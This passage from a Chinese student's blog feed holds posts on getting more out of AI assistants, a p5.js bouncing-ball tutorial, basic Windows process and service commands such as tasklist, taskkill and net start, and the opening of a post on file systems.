</content:encoded></item><item><title>AI使用思考</title><link>https://ivoinkwell.xyz/posts/specks/ai-usage-thoughts/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/ai-usage-thoughts/</guid><pubDate>Sat, 28 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;提问&lt;/h2&gt;
&lt;h3&gt;人人手机都有AI，真的会使用吗？&lt;/h3&gt;
&lt;p&gt;自从亲身感受完&lt;code&gt;openclaw&lt;/code&gt;，确实会有这样的疑问产生。一开始是对于自身的质疑，相比于&lt;code&gt;openclaw&lt;/code&gt;给自己写的Agent，我可以说几乎没写过，写了也不如&lt;code&gt;openclaw&lt;/code&gt;调用模型自己写的。后来在和很多人聊天后发现这似乎是一个普遍性的问题，或许关乎的是我们对于问题的梳理以及重点的掌握上，还有可能与语言表达有着很大的关系。&lt;/p&gt;
&lt;h3&gt;这么多的AI我们都知道怎么去善用他们呢？&lt;/h3&gt;
&lt;p&gt;豆包，DeepSeek，千问，Gemini，Claude，ChatGPT等等AI或许换一种说法，也只是一个工具。当然种种迹象表明，Gemini可能有自己的意识，但是不论如何，掌握与他们的沟通，了解他们的思维方式才能更好的帮助提效&lt;/p&gt;
&lt;h2&gt;论证&lt;/h2&gt;
&lt;h3&gt;AI与使用&lt;/h3&gt;
&lt;p&gt;先说说我的AI使用。我是初三那年开始使用AI的，当时是百度最先推出的文心一言，我当时就申请加入内测。其实当时最多就是降低搜索成本，找很多的抛错问题不用自己去网页上查找，能省下很多时间，但是那个时候他们是不会思考的，所以当时的情况也铸就了我的一个使用习惯——我规定逻辑框架，AI分步骤写完给我，我来做最后的拼接与修改。&lt;/p&gt;
&lt;p&gt;但是总归来说，不同的人有不同的使用场景与使用习惯与使用场景，所以选择适合场景的AI与高效的沟通就是最好的方法。我们在出现很多问题的时候是不能将重点总结出来并且解决的，所以AI完全不能理解你需要什么，然而豆包这样的通识AI就会误以为你需要的是情感支持，而不是解决问题。&lt;/p&gt;
&lt;p&gt;想要AI快速的帮你解决问题最简单的思路就是清楚的描述这个问题，但是不能抱有AI一定能解决的思想，如果出现&lt;code&gt;AI幻觉&lt;/code&gt;而引发的明显错误要学会去向他提出质疑。当错误自己无法描述的时候直接将报错复制上传比自己描述半天更有效果，甚至你自己不知道的操作问题这些报错里都会有，截图虽然可以，但是识别率会低很多。&lt;/p&gt;
&lt;h3&gt;如何善用&lt;/h3&gt;
&lt;p&gt;能够正常使用是远远不够的，想要能够让AI更快，更高效的完成一些事情，还是要根据AI的类型去确定让他们干什么活，甚至是挑选适合自己的AI。&lt;/p&gt;
&lt;p&gt;我有一个好朋友，他所学的专业和我不一样，他是网络安全的专业，对于日常虚拟机，路由器等实际上手的东西比我们软件开发会更丰富。他们的老师也是极力去推广AI的，但是他有外网的账户，所以对于GPT和Claude这样的AI会比我更容易接触到。他在很多事情学习上不是直接就能够自己去构建底层的思路，或者是无法通过自己思考与提问去玩玩全全的掌握一个能力。所以AI这个时候给他当工具，对于他来说收益或许就没有那么的高。所以当他使用完Claude这样会规划，带着你思考的AI助手，反而让他的效率提升一大截，学习到的东西或许能更深刻。&lt;/p&gt;
&lt;h2&gt;结论&lt;/h2&gt;
&lt;p&gt;基于前面的讨论，我整理出以下结论与建议：&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;📌 核心结论&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;AI使用存在明显的&quot;能力鸿沟&quot;&lt;/strong&gt;：并非人人拥有AI就会用，关键在于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;问题梳理能力&lt;/li&gt;
&lt;li&gt;重点把握能力&lt;/li&gt;
&lt;li&gt;语言表达能力&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;🛠️ 实践方法&lt;/h3&gt;
&lt;h4&gt;1. 提问策略&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;场景&lt;/th&gt;
&lt;th&gt;做法&lt;/th&gt;
&lt;th&gt;避免&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;日常问题&lt;/td&gt;
&lt;td&gt;直接清晰描述&lt;/td&gt;
&lt;td&gt;模糊表述&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;报错调试&lt;/td&gt;
&lt;td&gt;复制粘贴原文&lt;/td&gt;
&lt;td&gt;自己描述半天&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;复杂任务&lt;/td&gt;
&lt;td&gt;分步骤拆解&lt;/td&gt;
&lt;td&gt;一次性抛出所有需求&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;2. AI选择原则&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;通识类&lt;/strong&gt;（豆包、文心一言）→ 日常问答、情感交流&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;专业类&lt;/strong&gt;（Claude、GPT）→ 复杂规划、深度思考&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;国产类&lt;/strong&gt;（千问、DeepSeek）→ 合规场景、中文优化&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. 工作流建议&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;自己定框架 → AI分步骤执行 → 自己拼接修改
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保持主导权，避免完全依赖。&lt;/p&gt;
&lt;h4&gt;4. 风险防范&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;❌ 不要盲目相信AI输出&lt;/li&gt;
&lt;li&gt;⚠️ 遇到明显错误要主动质疑&lt;/li&gt;
&lt;li&gt;✅ 重要信息交叉验证&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;💡 一句话总结&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;AI是放大器，不是替代品。用得好，事半功倍；用不好，徒增负担。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;📚 延伸思考&lt;/h3&gt;
&lt;p&gt;不同专业背景的人，AI的价值体现不同：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;开发者&lt;/strong&gt;：AI帮你写代码，但你得懂架构&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络安全&lt;/strong&gt;：AI帮你规划思路，但你得懂原理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;普通人&lt;/strong&gt;：AI帮你搜索整理，但你得会提问&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;共同点&lt;/strong&gt;：AI无法替代你的核心判断力。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;（以上结论板块内容为AI，Xiaomi MIMO模型根据我的提示生成）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;注：&lt;code&gt;所以，AI是可以很好的利用，当然你现有信息交给人做都做不好，AI或许也做不好&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>JavaScript函数</title><link>https://ivoinkwell.xyz/posts/web-frontend/javascript-functions/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/javascript-functions/</guid><pubDate>Wed, 25 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;其实逻辑大体没有问题，但是我可能会更喜欢从底层取了解这些概念，当然前端可能并不需要自己封装函数进行调用，或许是这样，不过从C转过来还是不是非常适应的，那我就从我的角度重新梳理一下知识点吧。&lt;/p&gt;
&lt;h2&gt;函数&lt;/h2&gt;
&lt;h3&gt;函数封装&lt;/h3&gt;
&lt;p&gt;对于我来说调用是很简单的，但是，现在确实是让我对前端的看法越来要越明显，前端有的时候逻辑就是极其的不清晰，不封装可以直接调用，就算是外链一个库也不能直接用封装语句去写，让库去替你调用执行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;封装目的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果说现在要去执行两步计算，输入三个个数字，前两个相加后的结果除第三的数字。四则运算确实可以很快解决，JavaScript也支持，我们就将其分成两步，假设不支持的情况，所以如果一个程序多次使用这样计算每次去写运算步骤肯定麻烦，所以这里就要用到&lt;strong&gt;函数&lt;/strong&gt;这个概念。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;封装过程&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;代码实现如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 输入三个数字
let a = 10;
let b = 20;
let c = 3;

// 第一步：前两个相加
let sum = a + b;

// 第二步：相加结果 除以 第三个数字
let result = sum / c;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里先不管和浏览器的交互，简单的去看算法就行。当然使用&lt;code&gt;let result = (a + b) / c;&lt;/code&gt;直接可以化繁为简，但是我只是想做一个多步骤的例子。所以如果不想每次将数据输入的时候都频繁这么写，就可以封装成函数的形式。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 封装成函数
function calculate(a, b, c) {
  let sum = a + b;
  let result = sum / c;
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;函数调用&lt;/h3&gt;
&lt;p&gt;当然有了函数想要快速使用肯定是调用，所以直接将参数放入就行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 调用函数（直接用）
let final = calculate(10, 20, 3);
console.log(final);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是后端函数常见的使用逻辑，但是前端不是。&lt;/p&gt;
&lt;h2&gt;案例&lt;/h2&gt;
&lt;h3&gt;代码逻辑&lt;/h3&gt;
&lt;p&gt;在案例里面尤其突出，案例使用&lt;code&gt;p5.js&lt;/code&gt;，直接外链就行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://cdn.jsdelivr.net/npm/p5@1/lib/p5.min.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一个最简单：&lt;/p&gt;
&lt;p&gt;代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
		&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
		 &amp;lt;style&amp;gt;
			body {
				display: flex;
				justify-content: center;
				align-items: center;
				height: 100vh;
				margin: 0;
				background: #f0f0f0;
			}
		    &amp;lt;/style&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/p5@1/lib/p5.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
		 &amp;lt;script&amp;gt;
		
		       
		        // p5.js setup函数 - 初始化
		        function setup() {
		            // 创建蓝色画布
		            createCanvas(800, 600);
		            background(0, 0, 255)
		            
		        }
		        
		        // p5.js draw函数 - 动画循环
		        function draw() {
		            //1. 绘制蓝色幕布
					 // 蓝色背景
					// 绘制背景（相当于清空画布）
		           
		            
		            // 绘制红色小球
		            fill(255, 0, 0); // 红色填充
		            noStroke(); // 无描边
		            circle(400, 300, 60); // p5的circle函数参数是直径
		            
					// fill(255,255,255)
					// circle(600,300,60);
		           
		        }
			&amp;lt;/script&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;iframe srcdoc=&quot;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta charset=utf-8&amp;gt;&amp;lt;style&amp;gt;body{display:flex;justify-content:center;align-items:center;height:100vh;margin:0;background:#f0f0f0;}&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;script src=https://cdn.jsdelivr.net/npm/p5@1/lib/p5.min.js&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;function setup(){createCanvas(800,600);background(0,0,255)}function draw(){fill(255,0,0);noStroke();circle(400,300,60)}&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot; width=&quot;840&quot; height=&quot;640&quot; style=&quot;border:none;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;p&gt;所以说这里没有任何调用，直接是写方法，调用直接交给&lt;code&gt;p5&lt;/code&gt;这个库去做，也确实是没什么逻辑，调用本身就是应该在主程序执行的，这逻辑也是没谁了。其实还有更抽象的，估计后端的都理解，就是这玩意&lt;code&gt;draw()&lt;/code&gt;函数是自己重复执行的，所以我特地写的&lt;code&gt;while()&lt;/code&gt;和&lt;code&gt;do……while()&lt;/code&gt;直接没作用，关键是我变量是直接放在函数内的，就是没料到这东西智能到会自己重复循环。但是说归说，还是要写东西的，所以先讲讲我对于最后一个思考的思路。&lt;/p&gt;
&lt;h3&gt;题解&lt;/h3&gt;
&lt;p&gt;触边，最简单就是定义x轴和y轴的变量，与初始画布的大小进行对比，如果大于等于边框，或者小于等于边框就就将移动变为反向。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
		&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
		 &amp;lt;style&amp;gt;
			body {
				display: flex;
				justify-content: center;
				align-items: center;
				height: 100vh;
				margin: 0;
				background: #f0f0f0;
			}
		    &amp;lt;/style&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/p5@1/lib/p5.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
		 &amp;lt;script&amp;gt;
		
		       
		        // p5.js setup函数 - 初始化
		        function setup() {
		            // 创建蓝色画布
		            createCanvas(800, 600);
		            background(&quot;blue&quot;);
		        }
		        
                let runx = 10;
                let runy = 10;
                let ballx = 100;
                let bally = 100;
		        // p5.js draw函数 - 动画循环
		        function draw() {
		            // 绘制红色小球
                    background(&quot;blue&quot;);
		            fill(255, 0, 0); // 红色填充
		            noStroke(); // 无描边
		            circle(ballx, bally, 60); // p5的circle函数参数是直径
                    ballx = ballx + runx;
                    bally = bally + runy;

                    if(ballx &amp;gt;= 800 || ballx &amp;lt;= 0) {
                        runx = -runx;
                    }

                    if(bally &amp;gt;= 600 || bally &amp;lt;= 0) {
                        runy = -runy;
                    }
		        }
			&amp;lt;/script&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;但是&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;问AI后还是有没看出来的问题，小球按照这个算法是中心点碰边，而半径3厘米没考虑进去，所以AI改成了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
		&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
		 &amp;lt;style&amp;gt;
			body {
				display: flex;
				justify-content: center;
				align-items: center;
				height: 100vh;
				margin: 0;
				background: #f0f0f0;
			}
		    &amp;lt;/style&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/p5@1/lib/p5.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
		 &amp;lt;script&amp;gt;
		
		       
		        // p5.js setup函数 - 初始化
		        function setup() {
		            // 创建蓝色画布
		            createCanvas(800, 600);
		            background(&quot;blue&quot;);
		        }
		        
                let runx = 10;
                let runy = 10;
                let ballx = 100;
                let bally = 100;
		        // p5.js draw函数 - 动画循环
		        function draw() {
		            // 绘制红色小球
                    background(&quot;blue&quot;);
		            fill(255, 0, 0); // 红色填充
		            noStroke(); // 无描边
		            circle(ballx, bally, 60); // p5的circle函数参数是直径
                    ballx = ballx + runx;
                    bally = bally + runy;

                    if(ballx &amp;gt;= 800 - 30 || ballx &amp;lt;= 30) {
                        runx = -runx;
                    }

                    if(bally &amp;gt;= 600 - 30 || bally &amp;lt;= 30) {
                        runy = -runy;
                    }
		        }
			&amp;lt;/script&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我想了想这样不行啊，改了直径还是会出事，所以直接这样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
		&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
		 &amp;lt;style&amp;gt;
			body {
				display: flex;
				justify-content: center;
				align-items: center;
				height: 100vh;
				margin: 0;
				background: #f0f0f0;
			}
		    &amp;lt;/style&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/p5@1/lib/p5.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
		 &amp;lt;script&amp;gt;
		
		       
		        // p5.js setup函数 - 初始化
		        function setup() {
		            // 创建蓝色画布
		            createCanvas(800, 600);
		            background(&quot;blue&quot;);
		        }
		        
                let runx = 10;
                let runy = 10;
                let ballx = 100;
                let bally = 100;
                let diameter = 60;
                let radius = diameter / 2;
		        // p5.js draw函数 - 动画循环
		        function draw() {
		            // 绘制红色小球
                    background(&quot;blue&quot;);
		            fill(255, 0, 0); // 红色填充
		            noStroke(); // 无描边
		            circle(ballx, bally, diameter); // p5的circle函数参数是直径
                    ballx = ballx + runx;
                    bally = bally + runy;

                    if(ballx &amp;gt;= 800 - radius || ballx &amp;lt;= radius) {
                        runx = -runx;
                    }

                    if(bally &amp;gt;= 600 - radius || bally &amp;lt;= radius) {
                        runy = -runy;
                    }
		        }
			&amp;lt;/script&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe srcdoc=&quot;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta charset=utf-8&amp;gt;&amp;lt;style&amp;gt;body{display:flex;justify-content:center;align-items:center;height:100vh;margin:0;background:#f0f0f0;}&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;script src=https://cdn.jsdelivr.net/npm/p5@1/lib/p5.min.js&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;let runx=10;let runy=10;let ballx=100;let bally=100;let diameter=60;let radius=diameter/2;function setup(){createCanvas(800,600);background(&quot;blue&quot;);}function draw(){background(&quot;blue&quot;);fill(255,0,0);noStroke();circle(ballx,bally,diameter);ballx=ballx+runx;bally=bally+runy;if(ballx&amp;gt;=800-radius||ballx&amp;lt;=radius){runx=-runx;}if(bally&amp;gt;=600-radius||bally&amp;lt;=radius){runy=-runy;}}&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot; width=&quot;840&quot; height=&quot;640&quot; style=&quot;border:none;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;还有这样一题&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe srcdoc=&quot;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;html lang=&quot;zh-CN&quot;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/p5@1/lib/p5.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;style&amp;gt;body{display:flex;justify-content:center;align-items:center;min-height:100vh;margin:0;background:#f0f0f0;}&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;script&amp;gt;function setup(){createCanvas(800,600);background(255);}function draw(){background(255);stroke(0);noFill();circle(400,300,400);circle(320,220,150);fill(0);circle(290,220,80);noFill();circle(480,220,150);fill(0);circle(450,220,80);noFill();circle(400,320,40);circle(400,420,140);}&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot; width=&quot;840&quot; height=&quot;640&quot; style=&quot;border:none;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;p&gt;源码是这样的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;zh-CN&quot;&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
  &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
  &amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/p5@1/lib/p5.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
  &amp;lt;style&amp;gt;
    body {
      display: flex;
      justify-content: center;
      align-items: center;
      min-height: 100vh;
      margin: 0;
      background: #f0f0f0;
    }
  &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;script&amp;gt;
    function setup() {
      createCanvas(800, 600);
      background(255);
    }

    function draw() {
      background(255);

      stroke(0);
      noFill();
      circle(400, 300, 400);

      circle(320, 220, 150);
      fill(0);
      circle(290, 220, 80);

      noFill();
      circle(480, 220, 150);
      fill(0);
      circle(450, 220, 80);

      noFill();
      circle(400, 320, 40);

      circle(400, 420, 140);
    }
  &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Windows进程与服务</title><link>https://ivoinkwell.xyz/posts/system-basics/windows-processes-and-services/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/system-basics/windows-processes-and-services/</guid><pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;概述&lt;/h2&gt;
&lt;p&gt;在整理之前我想先讲讲我对于进程与服务的认识。&lt;/p&gt;
&lt;p&gt;尽管教材上面是用Windows来引入的进程与服务，但是对于我来说，却是Linux带我学习并且了解的这个概念。在疫情在家学习的那几个月，我开始接触Linux操作系统，后来到了初三毕业及之后我开始使用窗口管理器——i3wm，也是这个时候我才开始使用纯英文操作系统，开始了解&lt;code&gt;service&lt;/code&gt;和&lt;code&gt;process&lt;/code&gt;这两个概念。&lt;/p&gt;
&lt;h2&gt;进程&lt;/h2&gt;
&lt;p&gt;进程这个概念其实很好理解，简单说，就是&lt;code&gt;正在运行的exe程序&lt;/code&gt;。当然这么理解可以，考试这么些肯定不能对。&lt;/p&gt;
&lt;h3&gt;查看&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;图形界面查看&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;任务栏右键 - 任务管理器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-processes-and-services/image-20260324213745459.webp&quot; alt=&quot;image-20260324213745459&quot; /&gt;&lt;/p&gt;
&lt;p&gt;菜单选择详细信息&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-processes-and-services/image-20260324213808757.webp&quot; alt=&quot;image-20260324213808757&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;命令行终端查看&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果说一定要的话也不是不可以，就是麻烦&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tasklist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-processes-and-services/image-20260324214137155.webp&quot; alt=&quot;image-20260324214137155&quot; /&gt;&lt;/p&gt;
&lt;p&gt;缺点就是没有图标，需要一定的经验才能找到想要的进程。&lt;/p&gt;
&lt;h3&gt;杀死&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;图形界面&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;其实两个地方都行。当然，第一种绝对不会错，&lt;strong&gt;如果依照死规范就选第二种&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-processes-and-services/image-20260324214354669.webp&quot; alt=&quot;image-20260324214354669&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-processes-and-services/image-20260324214406548.webp&quot; alt=&quot;image-20260324214406548&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;命令行终端&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;杀死相同的东西&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;taskkill /f /im cmd.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/f&lt;/code&gt;：&lt;code&gt;force&lt;/code&gt;，强制&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/im&lt;/code&gt;：俗称映像名称，&lt;code&gt;image&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;服务&lt;/h2&gt;
&lt;p&gt;进程完了，这个就好理解了。设想在Linux环境下，全是黑屏，想要打开一个app，需要在终端敲命令，Windows虽然预装有&lt;code&gt;桌面环境&lt;/code&gt;这么个东西，但是还是离不开终端的，所以我们假设想要开机就启动&lt;code&gt;explorer.exe&lt;/code&gt;，手动方法肯定如下&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;打开终端，输入explorer命令运行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-processes-and-services/image-20260324215219832.webp&quot; alt=&quot;image-20260324215219832&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以这么个操作想让操作系统自己完成，就需要让系统知道，那么就可以写一个服务的方式去做到。不过Linux是一个&lt;code&gt;service&lt;/code&gt;文件，Windows是存在&lt;strong&gt;注册表&lt;/strong&gt;中的。不过似乎不用自己写服务，Linux是可以自己写的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;图形界面&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Win+R - &lt;code&gt;services.msc&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-processes-and-services/image-20260324215500012.webp&quot; alt=&quot;image-20260324215500012&quot; /&gt;&lt;/p&gt;
&lt;p&gt;右键即可管理&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-processes-and-services/image-20260324215521670.webp&quot; alt=&quot;image-20260324215521670&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;命令行终端&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;启动服务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net start [某个服务名字]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;停止进程&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net stop [某个服务名字]
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Windows文件系统与权限</title><link>https://ivoinkwell.xyz/posts/system-basics/windows-file-system-and-permissions/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/system-basics/windows-file-system-and-permissions/</guid><pubDate>Sat, 21 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;不知道有多少人喜欢在电脑里面收藏一些自己珍藏宝贝， 尤其是文件比较大的宝贝，很多人觉得放在电脑里不太方便，可能会放进U盘里，这个时候可能就会发现，拷贝速度甚至都能比家里千兆网下载速度还慢，不过我经常遇到的是Ventoy制作Linux镜像启动盘的时候。这里就牵涉到了文件系统的作用。&lt;/p&gt;
&lt;h2&gt;文件系统&lt;/h2&gt;
&lt;p&gt;常用的无非也就三个，也不用记，找个磁盘右键格式化就能看到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-file-system-and-permissions/image-20260321150738426.webp&quot; alt=&quot;image-20260321150738426&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我这里不知道是不是专业工作站版本的原因，&lt;code&gt;FAT32&lt;/code&gt;没有显示出来。&lt;/p&gt;
&lt;h3&gt;差别与性能&lt;/h3&gt;
&lt;p&gt;道理很简单，Windows 自家系统默认使用的文件系统，性能自然不会弱，所以 NTFS 在 Windows 生态下综合性能是最强的。&lt;/p&gt;
&lt;p&gt;如果跳出 Windows 环境，和 Linux 的 ZFS、Btrfs、苹果的 APFS，甚至微软自家仍在推广的 ReFS 相比，综合性能表现最好的还是 Linux 搭配 ZFS 或 XFS。&lt;/p&gt;
